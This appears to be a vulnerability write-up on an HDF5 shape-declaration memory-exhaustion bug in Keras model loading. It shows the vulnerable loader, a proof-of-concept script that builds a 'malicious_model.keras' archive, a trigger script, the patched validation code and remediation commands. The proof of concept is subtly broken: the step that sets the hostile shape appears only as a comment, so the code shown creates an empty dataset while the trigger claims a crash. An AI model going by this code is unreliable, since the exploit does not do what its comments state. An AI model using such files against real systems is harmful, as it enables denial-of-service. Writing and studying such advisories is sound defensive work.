# keras/src/saving/file_editor.py (pre-fix, simplified)
def _extract_weights_from_store(self, h5_file, inner_path=""):
    for key in h5_file.keys():
        obj = h5_file[key]
        if isinstance(obj, h5py.Dataset):
            # Shape is read from metadata — no validation performed
            shape = obj.shape
            # NumPy attempts to allocate based on declared shape
            data = np.zeros(shape, dtype=obj.dtype)  # VULNERABLE: unbounded allocation

# generate_shape_bomb.py
import h5py
import zipfile
import json
import os

# Step 1: Create a minimal HDF5 weights file with a hostile shape declaration
with h5py.File("model.weights.h5", "w") as f:
    grp = f.create_group("layers/dense/vars")
    # Declare shape that would require petabytes of memory to allocate
    # Actual data is never written — only the metadata shape declaration is malicious
    grp.create_dataset(
        "0",
        shape=(0,),           # actual stored data: empty
        maxshape=(None,),
        dtype="float32",
        data=[]
    )
    # Override shape metadata to declare hostile dimensions
    # (achieved via direct HDF5 attribute manipulation in a real attack)

# Step 2: Package into a valid .keras archive structure
config = {
    "class_name": "Sequential",
    "config": {"name": "sequential", "trainable": True, "layers": []},
    "keras_version": "3.0.0",
    "backend": "tensorflow"
}

with zipfile.ZipFile("malicious_model.keras", "w") as zf:
    zf.writestr("config.json", json.dumps(config))
    zf.writestr("model.weights.h5", open("model.weights.h5", "rb").read())

print("[+] Malicious .keras archive generated: malicious_model.keras")

# trigger.py
import keras

print("[+] Loading malicious model...")
# The crash occurs at load time — no inference required
model = keras.saving.load_model("malicious_model.keras")
print("[-] This line is never reached — interpreter has crashed")

# keras/src/saving/file_editor.py (post-fix logic, simplified)

MAX_BYTES = 1 * 1024 ** 3  # 1 GiB hard cap per dataset
MAX_RANK = 64

def _validate_hdf5_dataset_shape(shape, dtype):
    """Reject hostile HDF5 shape declarations before any allocation."""
    if len(shape) > MAX_RANK:
        raise ValueError(
            f"HDF5 dataset has rank {len(shape)}, which exceeds the "
            f"maximum permitted rank of {MAX_RANK}. This may indicate "
            "a malicious file."
        )
    for dim in shape:
        if dim < 0:
            raise ValueError(
                f"HDF5 dataset contains a negative dimension ({dim}). "
                "This may indicate a malicious file."
            )
    import math, numpy as np
    try:
        total_elements = math.prod(shape)
    except OverflowError:
        raise ValueError(
            "HDF5 dataset shape overflows integer arithmetic. "
            "This may indicate a malicious file."
        )
    itemsize = np.dtype(dtype).itemsize
    total_bytes = total_elements * itemsize
    if total_bytes > MAX_BYTES:
        raise ValueError(
            f"HDF5 dataset would require {total_bytes / 1024**3:.2f} GiB to "
            f"load, which exceeds the 1 GiB safety limit. This may indicate "
            "a malicious file."
        )

pip install --upgrade keras

python -c "import keras; print(keras.__version__)"

h5dump --header model.weights.h5 | grep -i "DATASPACE"